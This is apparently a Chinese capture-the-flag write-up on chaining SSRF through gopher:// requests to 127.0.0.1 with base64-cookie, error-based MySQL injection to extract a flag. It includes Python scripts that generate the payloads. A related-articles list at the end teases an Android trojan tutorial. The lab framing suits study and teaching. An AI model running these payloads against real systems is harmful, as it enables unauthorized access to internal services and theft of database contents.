very_easy_sql(SSRF+SQL注入)

題目有一行提示:

you are not an inner user, so we can not let you have identify~(你不是內部用戶,所以我們不能讓你進行身份驗證)聯想到可能存在SSRF漏洞,一般情況下,SSRF攻擊的目標是外網無法訪問的內部系統(正是因為請求是由服務器發起的,所以服務器能請求到與自身相連而與外網隔離的內部系統),所以根據提示內容會想到SSRF漏洞

查看源碼,提示存在use.php

頁面顯示:你想用curl命令訪問的網址是什么?

SSRF的形成大多是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾或限制,我們可以讓服務器向自身發送請求(127.0.0.1),這樣可以訪問內網或本地服務

首先利用gopher協議實現內部訪問

import urllib.parse# 目標服務器地址和端口
host = "127.0.0.1:80"# HTTP 請求體的內容
content = "uname=admin&passwd=admin"
content_length = len(content)# 構造 HTTP POST 請求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 對請求字符串進行 URL 編碼
encoded_test = urllib.parse.quote(test)# 將換行符 %0A 替換為 %0D%0A,以符合 HTTP 協議
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 構造最終的 Gopher 協議請求
result = "gopher://" + host + "/_" + encoded_testprint(result)

將?host?設為?127.0.0.1:80 是為了:

  • 利用 SSRF 讓服務器自己發起 HTTP 請求,嘗試訪問本地 Web 應用中不可從外部訪問的部分。
  • 結合 SQL 注入 payload,為了繞過一些限制,間接獲取敏感數據

這段代碼目的是 構造一個請求,用hopher協議發送,目的是讓服務器訪問其自身的 127.0.0.1 地址

抓包獲取可以發現setcookie的值為admin的base64編碼值。

猜測在setcookie處為注入點,首先測試是字符型還是整數型注入,構造payload為 \

?我們可以使用\(轉義字符)來判斷SQL注入的閉合方式。
??? 分析報錯信息:看\斜杠后面跟著的字符,是什么字符,它的閉合字符就是什么,若是沒有,就為數字型

在\后面為'),所以閉合方式為'),

使用報錯注入查詢數據庫

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64編碼,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查庫security

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64編碼,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查表flag

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查內容flag? admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #

得到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/82621.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/82621.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/82621.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

國內外主流AI編程工具全方位對比分析(截至2025年5月)

一、國際主流工具對比 1. Windsurf(Codeium公司) 核心功能:代理型AI編程(代碼導航/修改/命令執行)、瀏覽器DOM訪問、網頁研究功能語言支持:70語言,包括Python/Java/JavaScript/Rust等[[22-23]…

ARP協議的工作原理

文章目錄 ARP協議的工作原理ARP報文(以太網)ARP高速緩存 ARP協議的工作原理 ARP協議的作用是實現任意網絡層地址到任意物理地址轉換。工作原理是: 主機向自己所在網絡廣播一個ARP請求,該請求包含目標機器的網絡地址。處于該網絡…

【小知識酷】《Matlab》考點精簡

在線編譯器 https://matlab.mathworks.com/?elqsidumic49viv8wu5r6fckew 第1章 matlab基礎知識 第1節 輸出函數 1. 使用disp函數 disp函數可用于輸出變量的值或者字符串。 % 輸出字符串 disp(Hello, MATLAB!); %顯示Hello, MATLAB!% 輸出變量 x 10; disp(x); %顯示10% 輸出數…

碼蹄集——中庸之道(三個數比較)

MT1112 中庸之道 請編寫一個簡單程序,輸入3個整數,比較他們的大小,輸出中間的那個數 格式 輸入格式: 輸入整型,空格分隔 輸出格式:輸出整型 樣例 1 輸入:1 5 3 輸出:3 比較…

快速搭建一個vue前端工程

一、環境準備 1、安裝node.js 下載地址:Node.js 推薦版本如下: 2、檢查node.js版本 node -v npm -v 二、安裝Vue腳手架 Vue腳手架是Vue官方提供的標準化開發工具。vue官網:https://cn.vuejs.org/ 全局安裝vue/cli (僅第一次…

React Native基礎環境配置

React Native基礎環境配置 1.引言2.React-Native簡介3.項目基礎環境搭建1.引言 感覺自己掌握的知識面還是有點太窄了,于是決定看看移動端的框架,搞個react搭一個后端管理項目,然后拿react-native寫個小的軟件,試著找個三方上架一下應用市場玩玩。畢竟不可能一直在簡歷上掛一…

PHP和Composer 安裝

Composer 是 PHP 的 依賴管理工具,就像: Node.js 用 npm Python 用 pip Java 用 maven 用來安裝和管理 PHP 項目中需要用到的第三方庫 安裝PHP可以理解成 Java解釋器 安裝PHP PHP For Windows: Binaries and sources Releaseshttps://windows.php.n…

API請求參數有哪些?

通用參數 app_key:應用的唯一標識,用于驗證應用身份,調用API時必須提供。 timestamp:請求時間戳,通常為當前時間的毫秒級時間戳,用于防止請求被重放攻擊。 format:返回數據的格式,…

并發筆記-條件變量(三)

文章目錄 背景與動機30.1 條件變量的定義與基本操作 (Definition and Routines)30.2 生產者/消費者問題 (Bounded Buffer Problem)30.3 覆蓋條件 (Covering Conditions) 與 pthread_cond_broadcast30.4 總結 背景與動機 到目前為止,我們已經學習了鎖 (Locks) 作為并…

stm32實戰項目:無刷驅動

目錄 系統時鐘配置 PWM模塊初始化 ADC模塊配置 霍爾接口配置 速度環定時器 換相邏輯實現 主控制循環 系統時鐘配置 啟用72MHz主頻:RCC_Configuration()設置PLL外設時鐘使能:TIM1/ADC/GPIO時鐘 #include "stm32f10x.h"void RCC_Configu…

LC-3 中常見指令

當然可以!以下是 LC-3 中常見指令(匯編格式)與對應的二進制編碼格式 的總結表,通俗易懂地介紹每條指令的用途、操作碼(opcode)以及格式結構。 ? 常見 LC-3 指令與對應的二進制格式 指令名稱操作碼&#x…

深入解析Docker:核心架構與最佳實踐

文章目錄 前言一、Docker 解決了什么問題?二、Docker 底層核心架構2.1 Docker 引擎的分層架構2.2 鏡像的奧秘:聯合文件系統(UnionFS)2.3 容器隔離的核心技術2.3.1 命名空間2.3.2 控制組(Cgroups)2.3.3 內核…

從零打造企業級Android木馬:數據竊取與遠程控制實戰

簡介 木馬病毒已從簡單的惡意軟件演變為復雜的攻擊工具,尤其在2025年企業級攻擊中,木馬病毒正成為黑客組織的主要武器之一。 本文將深入探討如何制作具備數據竊取和遠程控制功能的Android木馬,從基礎原理到企業級防御繞過技術,同時提供詳細的代碼實現,幫助開發者理解木馬…

ES常識5:主分詞器、子字段分詞器

文章目錄 一、主分詞器:最基礎的文本處理單元主分詞器的作用典型主分詞器示例 二、其他類型的分詞器:解決主分詞器的局限性1. 子字段分詞器(Multi-fields)2. 搜索分詞器(Search Analyzer)3. 自定義分詞器&a…

【第三十五周】Janus-pro 技術報告閱讀筆記

Janus-Pro 摘要Abstract文章信息引言方法Janus 架構Janus 訓練Janus-Pro 的改進 實驗結果總結 摘要 本篇博客介紹了Janus-Pro,這是一個突破性的多模態理解與生成統一模型,其核心思想是通過解耦雙路徑視覺編碼架構解決傳統方法中語義理解與像素生成的任務…

MySQL 數據操縱與數據庫優化

MySQL數據庫的DML 一、創建(Create) 1. 基本語法 INSERT INTO 表名 [(列名1, 列名2, ...)] VALUES (值1, 值2, ...); 省略列名條件:當值的順序與表結構完全一致時,可省略列名(需包含所有字段值)批量插…

(9)被宏 QT_DEPRECATED_VERSION_X_6_0(“提示內容“) 修飾的函數,在 Qt6 中使用時,會被編譯器提示該函數已過時

(1)起因是看到 Qt 的官方源代碼里有這樣的寫法: #if QT_DEPRECATED_SINCE(6, 0) //里面的都是廢棄的成員函數QT_WARNING_PUSHQT_WARNING_DISABLE_DEPRECATEDQT_DEPRECATED_VERSION_X_6_0("Use the constructor taking a QMetaType inst…

【bibtex4word】在Word中高效轉換bib參考文獻,Texlive環境安裝bibtex4word插件

前言 現已退出科研界,本人水貨一個。希望幫到有緣人 本篇關于如何將latex環境中的參考文獻bib文件轉化為word,和一些踩坑記錄。 可以看下面的資料進行配置,后面的文字是這些資料的補充說明。 參考文章:https://blog.csdn.net/g…

Python 自動化腳本開發秘籍:從入門到實戰進階(6/10)

摘要:本文詳細介紹了 Python 自動化腳本開發的全流程,從基礎的環境搭建到復雜的實戰場景應用,再到進階的代碼優化與性能提升。涵蓋數據處理、文件操作、網絡交互、Web 測試等核心內容,結合實戰案例,助力讀者從入門到進…

理解反向Shell:隱藏在合法流量中的威脅

引言 在網絡安全領域,??反向Shell(Reverse Shell)?? 是一種隱蔽且危險的攻擊技術,常被滲透測試人員和攻擊者用于繞過防火墻限制,獲取對目標設備的遠程控制權限。與傳統的“正向Shell”(攻擊者主動連接…